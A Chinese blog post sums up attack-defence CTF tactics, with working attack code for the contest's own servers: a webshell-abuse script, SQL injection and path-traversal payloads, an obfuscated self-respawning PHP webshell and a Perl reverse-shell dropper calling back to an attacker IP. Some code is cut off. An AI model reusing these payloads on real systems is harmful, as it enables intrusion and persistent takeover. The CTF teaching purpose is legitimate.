CTF线下赛AWD套路小结

本文已在先知社区发表,欢迎访问,链接h

最近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了。

一、AWD模式简介

AWD:Attack With Defence,比赛中每个队伍维护多台服务器,服务器中存在多个漏洞,利用漏洞攻击其他队伍可以进行得分,修复漏洞可以避免被其他队伍攻击失分。

一般分配Web服务器,服务器(多数为Linux)某处存在flag(一般在根目录下);

可能会提供一台流量分析虚拟机,可以下载流量文件进行数据分析;

flag在主办方的设定下每隔一定时间刷新一轮;

各队一般都有自己的初始分数;

flag一旦被其他队伍拿走,该队扣除一定积分;

扣除的积分由获取flag的队伍均分;

主办方会对每个队伍的服务进行check,服务宕机扣除本轮flag分数,扣除的分值由服务check正常的队伍均分;

一般每个队伍会给一个低权限用户,非root权限;

二、网络环境

网络拓扑如下图所示:

比赛中获取flag一般有两种模式:

(1)flag在根目录下,读取flag内容,提交即可得分

(2)拿到其他队伍shell后,执行指定命令(curl 10.0.0.2),即可从上图中flag机获取flag内容;

比赛可能会告诉你其他队伍的IP,也可能不会告诉你,一般在同一个C段或者B段,因此首先可以利用nmap等扫描工具发现其他队伍的IP:

nmap –sn 192.168.71.0/24

或者用https://github.com/zer0h/httpscan 的脚本进行扫描

三、比赛分工

线下赛一般3人左右,2人攻击,1人防御,因为发现的漏洞可以攻击其他队伍,也要进行修复,所以攻防相辅相成,以攻为守。

比赛中每个队伍可能会维护多个靶机,web、二进制等,也可以每人负责一台,各自负责攻击和防御。

四、一些“套路”

1.备份!备份!备份!

重要的事情说三遍,比赛开始后第一时间备份服务器中web目录下的文件(/var/www/html),这是自我审计的基础,也是防止服务器在比赛中出现异常的情况下可以立即恢复到初始状态的先决条件。有的比赛可以提供3次左右的恢复初始设置的机会,有的比赛不提供,所以备份十分重要。

可以用scp命令,也可用一些图形化的工具:Winscp,FileZilla,操作起来比较方便。

2.口令问题

弱口令的问题几乎是必考,比赛开始后,如果发现每个队伍的SSH账号密码都是一样的(某次比赛中都是phpcms、wordpress),需要立即修改口令,如果被其他队伍改了那就gg了。

Web后台很有可能存在弱口令,一般都是admin/admin,admin/123456,test/test等等,同样需要立即修改,也可以修改其他队伍的后台口令,为本队所用,说不定可以利用后台getshell,比如十分常见的wordpress。

不过有的比赛不允许修改后台口令,如果修改视为服务宕机,这样还是不要动口令的心思了。

3.预留后门

在维护的服务器上,很有可能已经预留了一个或多个后门,比如一句话木马,这个是送分题,可以利用这个漏洞迅速打一波,还可以视情况“搅屎”,利用这个漏洞一直维持权限,每轮都得分(后面细说)

将服务器中web目录下载到本地,利用D盾扫描,一般就可以发现预留后门:

发现后门后,第一时间删除,同时利用这个漏洞发起第一波攻击,如果利用菜刀连,显然不够优雅,还没连完,人家估计都删的差不多了,因此这个漏洞虽然是送分,但拼的是手速,因此得提前准备好脚本:

#coding=utf-8

import requests

url="http://192.168.71."

url1=""

shell="/Upload/index.php"

passwd="abcde10db05bd4f6a24c94d7edde441d18545"

port="80"

payload = {passwd: 'system(\'cat /flag\');'}

f=open("webshelllist.txt","w")

f1=open("firstround_flag.txt","w")

for i in [51,52,53,11,12,13,21,22,23,31,32,33,41,42,43,71,72,73,81,82,83]:

url1=url+str(i)+":"+port+shell

try:

res=requests.post(url1,payload,timeout=1)

if res.status_code == requests.codes.ok:

print url1+" connect shell sucess,flag is "+res.text

print >>f1,url1+" connect shell sucess,flag is "+res.text

print >>f,url1+","+passwd

else:

print "shell 404"

except:

print url1+" connect shell fail"

f.close()

f1.close()

配置一下其他队伍地址、shell路径和密码,就可以进行攻击,flag记录在firstround_flag.txt中,某次比赛实际情况如下:

4.常见漏洞

常见的漏洞包括SQL注入、文件包含、文件上传等等。对于SQL注入类的漏洞,一般不会有过滤,可以用sqlmap跑出来,再利用—sql-shell执行select load_file(‘/flag’);即可得到flag,也可以利用into outfile写木马维持权限,但要根据实际情况,可能会遇到权限问题。用sqlmap跑比较耗时,可以利用payload写一个python,自动化进行攻击:

def sqli(host):

global sess_admin

data = {"section_name":"asd","admin_name":"'||(SELECT updatexml(1,concat(0x7e,(select load_file('/flag')),0x7e),1))||'","announcement":"asd"}

r = sess_admin.post('http://%s/index.php/section/add'%host,data=data)

flags = re.findall(r'~(.+?)~',r.content)

if flags:

return flags[0]

else:

return "error pwn!"

对于文件包含漏洞,直接可以通过../../../../../../flag的方式获取:

def include(host):

r = requests.get(url="http://%s/?t=../../../../../../flag"%host)

flags = re.findall(r'^(.+?)

if flags:

return flags[0]

else:

return "error pwn!"

上传漏洞一般也是比较简单的黑名单过滤、服务器解析漏洞等等,可以直接上传木马;

五、权限维持

这里说的方法就比较“搅屎”了,上面说到利用预留后门可以维持权限,主要有两种,一种是“不死马”,另一种是反弹shell

1.“不死马”

set_time_limit(0);

ignore_user_abort(1);

unlink(__FILE__);

while(1){

file_put_contents('./.config.php','<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>');

system('chmod 777 .config.php');

touch("./.config.php",mktime(20,15,1,11,28,2016));

usleep(100);

}

?>

利用预留后门,上传上面的“不死马”并访问,就会一直生成.config.php的一句话木马,木马内容可以自行修改,只要别被其他队伍看懂就行。

这个不死马比较猥琐,解决的方法需要重启apache,或者写一个程序不停kill这个不死马进程。

2.反弹shell

function which($pr) {

$path = execute("which$pr");

return ($path ? $path : $pr);

}

function execute($cfe) {

$res = '';

if ($cfe) {

if(function_exists('exec')) {

@exec($cfe,$res);

$res = join("\n",$res);

} elseif(function_exists('shell_exec')) {

$res = @shell_exec($cfe);

} elseif(function_exists('system')) {

@ob_start();

@system($cfe);

$res = @ob_get_contents();

@ob_end_clean();

} elseif(function_exists('passthru')) {

@ob_start();

@passthru($cfe);

$res = @ob_get_contents();

@ob_end_clean();

} elseif(@is_resource($f = @popen($cfe,"r"))) {

$res = '';

while(!@feof($f)) {

$res .= @fread($f,1024);

}

@pclose($f);

}

}

return $res;

}

function cf($fname,$text){

if($fp=@fopen($fname,'w')) {

@fputs($fp,@base64_decode($text));

@fclose($fp);

}

}

$yourip = "192.168.71.1";

$yourport = '9999';

$usedb = array('perl'=>'perl','c'=>'c');

$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".

"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".

"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".

"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".

"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".

"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".

"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";

cf('/tmp/.bc',$back_connect);

$res = execute(which('perl')." /tmp/.bc$yourip$yourport&");

?>

利用预留后门上传上面的php文件并访问,就可以用nc反弹shell,之后就可以一直得分了

需要注意的是,上面的2种方法,需要网站的权限为www-data,如果网站的权限是ctf,那么是没有权限上传文件的。

六、通用防御

对于防御,一般通用有两种方法:WAF、文件监控

(1)WAF

//Code By Safe3

function customError($errno, $errstr, $errfile, $errline)

{

echo "Error number: [$errno],error on line$errlinein$errfile
";

die();

}

set_error_handler("customError",E_ERROR);

$getfilter="'|(and|or)\\b.+?(>|

$postfilter="\\b(and|or)\\b.{1,6}?(=|>|

$cookiefilter="\\b(and|or)\\b.{1,6}?(=|>|

function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq){

if(is_array($StrFiltValue))

{

$StrFiltValue=implode($StrFiltValue);

}

if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){

//slog("
操作IP: ".$_SERVER["REMOTE_ADDR"]."
操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."
操作页面:".$_SERVER["PHP_SELF"]."
提交方式: ".$_SERVER["REQUEST_METHOD"]."
提交参数: ".$StrFiltKey."
提交数据: ".$StrFiltValue);

print "360websec notice:Illegal operation!";

exit();

}

}

//$ArrPGC=array_merge($_GET,$_POST,$_COOKIE);

foreach($_GET as $key=>$value){

StopAttack($key,$value,$getfilter);

}

foreach($_POST as $key=>$value){

StopAttack($key,$value,$postfilter);

}

foreach($_COOKIE as $key=>$value){

StopAttack($key,$value,$cookiefilter);

}

if (file_exists('update360.php')) {

echo "请重命名文件update360.php,防止黑客利用
";

die();

}

function slog($logs)

{

$toppath=$_SERVER["DOCUMENT_ROOT"]."/log.htm";

$Ts=fopen($toppath,"a+");

fputs($Ts,$logs."\r\n");

fclose($Ts);

}

?>

使用方法:

1.将waf.php传到要包含的文件的目录

2.在页面中加入防护,有两种做法,根据情况二选一即可:

a).在所需要防护的页面加入代码

require_once('waf.php');

就可以做到页面防注入、跨站

如果想整站防注,就在网站的一个公用文件中,如数据库链接文件config.inc.php中!

添加require_once(‘waf.php’);来调用本代码

常用php系统添加文件

PHPCMS V9 \phpcms\base.php

PHPWIND8.7 \data\sql_config.php

DEDECMS5.7 \data\common.inc.php

DiscuzX2 \config\config_global.php

Wordpress \wp-config.php

Metinfo \include\head.php

b).在每个文件最前加上代码

在php.ini中找到:

Automatically add files before or after any PHP document.

auto_prepend_file = 360_safe3.php路径;

需要注意的是,部署waf可能会导致服务不可用,需要谨慎部署。

(2)文件监控

文件监控可以对web目录进行监控,发现新上传文件或者文件被修改立即恢复,这样可以防止上传shell等攻击:

# -*- coding: utf-8 -*-

# @Author: Nearg1e -- 2016-06-30 10:08:35 --0v0--

# v demo 0.21 修改了备份的webshell会自己坑自己的情况

# todo: windows下不支持中文目录

#use: python file_check.py ./

import os

import hashlib

import shutil

import ntpath

import time

CWD = os.getcwd()

FILE_MD5_DICT = {} # 文件MD5字典

ORIGIN_FILE_LIST = []

# 特殊文件路径字符串

Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'

bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'

logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'

webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'

difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'

Special_string = 'drops_log' # 免死金牌

UNICODE_ENCODING = "utf-8"

INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"

# 文件路径字典

spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))

Special_path = {

'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),

'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),

'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),

'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),

}

def isListLike(value):

return isinstance(value, (list, tuple, set))

# 获取Unicode编码

def getUnicode(value, encoding=None, noneToNull=False):

if noneToNull and value is None:

return NULL

if isListLike(value):

value = list(getUnicode(_, encoding, noneToNull) for _ in value)

return value

if isinstance(value, unicode):

return value

elif isinstance(value, basestring):

while True:

try:

return unicode(value, encoding or UNICODE_ENCODING)

except UnicodeDecodeError, ex:

try:

return unicode(value, UNICODE_ENCODING)

except:

value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]

else:

try:

return unicode(value)

except UnicodeDecodeError:

return unicode(str(value), errors="ignore")

# 目录创建

def mkdir_p(path):

import errno

try:

os.makedirs(path)

except OSError as exc:

if exc.errno == errno.EEXIST and os.path.isdir(path):

pass

else: raise

# 获取当前所有文件路径

def getfilelist(cwd):

filelist = []

for root,subdirs, files in os.walk(cwd):

for filepath in files:

originalfile = os.path.join(root, filepath)

if Special_path_str not in originalfile:

filelist.append(originalfile)

return filelist

# 计算机文件MD5值

def calcMD5(filepath):

try:

with open(filepath,'rb') as f:

md5obj = hashlib.md5()

md5obj.update(f.read())

hash = md5obj.hexdigest()

return hash

except Exception, e:

print u'[!] getmd5_error : ' + getUnicode(filepath)

print getUnicode(e)

try:

ORIGIN_FILE_LIST.remove(filepath)

FILE_MD5_DICT.pop(filepath, None)

except KeyError, e:

pass

# 获取所有文件MD5

def getfilemd5dict(filelist = []):

filemd5dict = {}

for ori_file in filelist:

if Special_path_str not in ori_file:

md5 = calcMD5(os.path.realpath(ori_file))

if md5:

filemd5dict[ori_file] = md5

return filemd5dict

# 备份所有文件

def backup_file(filelist=[]):

# if len(os.listdir(Special_path['bak'])) == 0:

for filepath in filelist:

if Special_path_str not in filepath:

shutil.copy2(filepath, Special_path['bak'])

if __name__ == '__main__':

print u'---------start------------'

for value in Special_path:

mkdir_p(Special_path[value])

# 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件

ORIGIN_FILE_LIST = getfilelist(CWD)

FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)

backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG

print u'[*] pre work end!'

while True:

file_list = getfilelist(CWD)

# 移除新上传文件

diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))

if len(diff_file_list) != 0:

# import pdb;pdb.set_trace()

for filepath in diff_file_list:

try:

f = open(filepath, 'r').read()

except Exception, e:

break

if Special_string not in f:

try:

print u'[*] webshell find : ' + getUnicode(filepath)

shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))

except Exception as e:

print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)

try:

f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')

f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')

f.close()

except Exception as e:

print u'[-] log error : file move error: ' + getUnicode(e)

# 防止任意文件被修改,还原被修改文件

md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)

for filekey in md5_dict:

if md5_dict[filekey] != FILE_MD5_DICT[filekey]:

try:

f = open(filekey, 'r').read()

except Exception, e:

break

if Special_string not in f:

try:

print u'[*] file had be change : ' + getUnicode(filekey)

shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))

shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)

except Exception as e:

print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)

try:

f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')

f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')

f.close()

except Exception as e:

print u'[-] log error : done_diff: ' + getUnicode(filekey)

pass

time.sleep(2)

# print '[*] ' + getUnicode(time.ctime())

七、自动提交

有的比赛只有几分钟一轮,手工提交其他队伍flag显然不行,需要准备批量提交flag的脚本:

#!/usr/bin/env python2import sys

import json

import urllib

import httplib

server_host = '10.10.0.2'

server_port = 80

def submit(team_token, flag, host=server_host, port=server_port, timeout=5):

if not team_token or not flag:

raise Exception('team token or flag not found')

conn = httplib.HTTPConnection(host, port, timeout=timeout)

params = urllib.urlencode({

'token': team_token,

'flag': flag,

})

headers = {

"Content-type": "application/x-www-form-urlencoded"

}

conn.request('POST', '/api/submit_flag', params, headers)

response = conn.getresponse()

data = response.read()

return json.loads(data)

if __name__ == '__main__':

if len(sys.argv) < 3:

print 'usage: ./submitflag.py $team_token $flag'

sys.exit()

host = server_host

if len(sys.argv) > 3:

host = sys.argv[3]

print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4)

八、流量、日志

通过流量、日志的分析:

1.感知可能正在发生的攻击,从而规避存在的安全风险

2.应急响应,还原攻击者的攻击路径,从而挽回已经造成的损失

date_default_timezone_set('Asia/Shanghai');

$ip = $_SERVER["REMOTE_ADDR"]; //访问IP

$filename = $_SERVER['PHP_SELF']; //访问的文件

$parameter = $_SERVER["QUERY_STRING"]; //查询的字符串

$method = $_SERVER['REQUEST_METHOD']; //请求方法

...

$time = date('Y-m-d H:i:s',time()); //请求时间

$post = file_get_contents("php://input",'r'); //接收POST数据

$others = '**********************************************************************';

$logadd = '访问时间:'.$time.'访问IP:'.$ip.'请求方法:'.$method.' '.'访问链接:'.$filename.'?'.$parameter."\r\n";...

//记录写入

$fh = fopen("log.txt", "a");

fwrite($fh, $logadd);

fwrite($fh,print_r($_COOKIE, true)."\r\n");

fwrite($fh,$others."\r\n");

fclose($fh);

blog comments powered by Disqus

awd的批量脚本 pwn_CTF线下赛AWD套路小结相关推荐

  1. CTF线下赛AWD攻防准备

    CTF线下赛AWD攻防准备 最近发现一篇博客.感觉对CTF线下赛-AWD模式,总结比较好.于是学习了解了一下,为了方便寻找,把这篇博客复制了过来,并补充了点... 1.赛制流程:攻防模式(AWD)常见 ...

  2. CTF线下赛AWD总结

    AWD 记录一下自己最近参加的线下攻防比赛,没时间学习了,就准备了几天,果然不出意外的被安全专业的大佬打得很惨. 缺点是不会攻击,我和我队友两个人就只有防,AWD防了400分,综合渗透拿了200分. ...

  3. awd赛题的flag是什么意思_红帽杯线下赛AWD题目分析

    上周打了一场红帽杯的线下赛,可惜开具发挥失误服务器down了几轮一度垫底-最后才又勉强上了点儿分-..赛后对题目中的几处比较有意义的漏洞做了一下分析,写出了下面篇文章. web1 web1是一个wor ...

  4. ISCC线下赛参赛感悟

    关于ISCC线下赛参赛感悟(之前就想发出来了,但是一直没时间,刚好赶上了1024就浅浅发一下吧) 一句话感悟 我好菜呀,ctf菜,awd更菜. 关于CTF部分 总结: 大佬是真的牛,选择题290+,不 ...

  5. 全国大学生智能汽车竞赛-讯飞赛道线下赛开始报名啦!

    五月将至,迅飞赛道线下赛等你! 01 赛事介绍 「全 国大学生智能汽车竞赛 」是教育部倡导的大学生科技A类竞赛,中国高等教育学会将其列为含金量最高的大学生竞赛之一.比赛每年吸引了包括清华.上交.复旦. ...

  6. 【线下赛游记】2023 ICPC西安邀请赛 游记

    [线下赛游记]2023 ICPC西安邀请赛 游记 day -2 ​ 现在是周四,虽然周日才开始比赛,但早已是 "激动的心 颤抖的手" 了,上完早八,就决定一直加训到晚上,结果一下午 ...

  7. 2018 ACM-ICPC 宁夏邀请赛线下赛

    通过网络赛获取了参加线下赛的资格,上大学以来第一次跑这么远打比赛=v= 9号凌晨抵达银川火车站,校方安排好了接送车辆直接送去宾馆. 到宾馆就已经一点多了,直接洗洗睡了. 10号早晨在酒店吃完早餐就打车 ...

  8. (实战)[2022 公司Deepracer 线上赛和线下赛]-002

    文章目录 1. 感受 2. 线下赛和线上赛的区别 3.比赛阶段 3.1 线上赛(第一轮) 3.2 线下赛(第二轮) 3.3 线下赛(第三轮) 4. 线下比赛总结 1. 感受 很荣幸跟数学系高材生Ker ...

  9. awd的批量脚本 pwn_北极星杯AWD-Writeup

    前言 祝祖国70周年生日快乐,也祝星盟一周年生日快乐.感谢各位师傅在国庆假期抽出时间参加这次比赛,也感谢负责组织比赛的师傅忙前忙后. 我是M09ic,负责本次北极星杯AWD的赛后分享.靠着抱大腿以及足 ...

最新文章

  1. 算法基础知识科普:8大搜索算法之二分搜索
  2. java时间戳类型如何比较大小_JAVA中两个String类型的时间戳怎么样比较大小?
  3. javaScript第三天(1)
  4. mysql查询语句能否让一个字段不显示出来_天天写order by,你知道Mysql底层如何执行吗?
  5. 虚拟机安装CentOS-7-x86_64-DVD-1708说明
  6. Intel 64/x86_64/IA-32/x86处理器 - SIMD指令集 - MMX技术(2) - 数据转换指令
  7. c++20 协程 图片识别框架 紫丁香
  8. C语言中短路求值问题
  9. sublime text 2 解决错误 [Decode error - output not utf-8]
  10. 基于人人网的简单爬虫(一)——正则表达式
  11. 华为u8825d解锁工具_黔隆科技刷机教程VIVOY55L.PD1613忘记密码刷机解锁降级救砖解屏幕锁账户锁教程...
  12. pycharm远程调试的“bug”:/miniconda3/envs/learn/bin/python: can‘t open file ‘//<a2a1d7b1c-6145-4e45-...
  13. 树莓派接手机屏幕_使用诺基亚Nokia5110做树莓派的显示屏
  14. 超精细写实的3D人物模型,这可不是照片!
  15. PC 音频,视频硬件输出设置
  16. [转载]前端代码规范 及 最佳实践
  17. js本地刷新和局部刷新
  18. 为什么建议大家使用 Linux 开发?爽(外加七个感叹号)
  19. 7-2 两个巨大素数(质数)的乘积 (10分)
  20. 实现一个go语言的简单爬虫来爬取CSDN博文(一)

热门文章

  1. 区块链进化论:极客与开源 - 区块链大航海时代
  2. 学而思初二数学年卡菁英班(全国人教版)百度网盘资料
  3. linux系统子接口配置文件,linux配置子接口
  4. 将数据库中同一用户的各类分数相加
  5. 数据库管理工具 Navicat 和 DBeaver
  6. CVPR2019| 百度17篇CVPR论文学习记录(包含:无人驾驶、神经网络、GAN、无监督学习、目标检测)
  7. 小学五年级计算机课评课,小学数学五年级下册公开课《分数的意义》听课心得体会评课稿...
  8. 了解一些常用的文件系统和一些基础定义
  9. DDR3 CONTROLLER-PHY物理层
  10. Scaner和顺序语句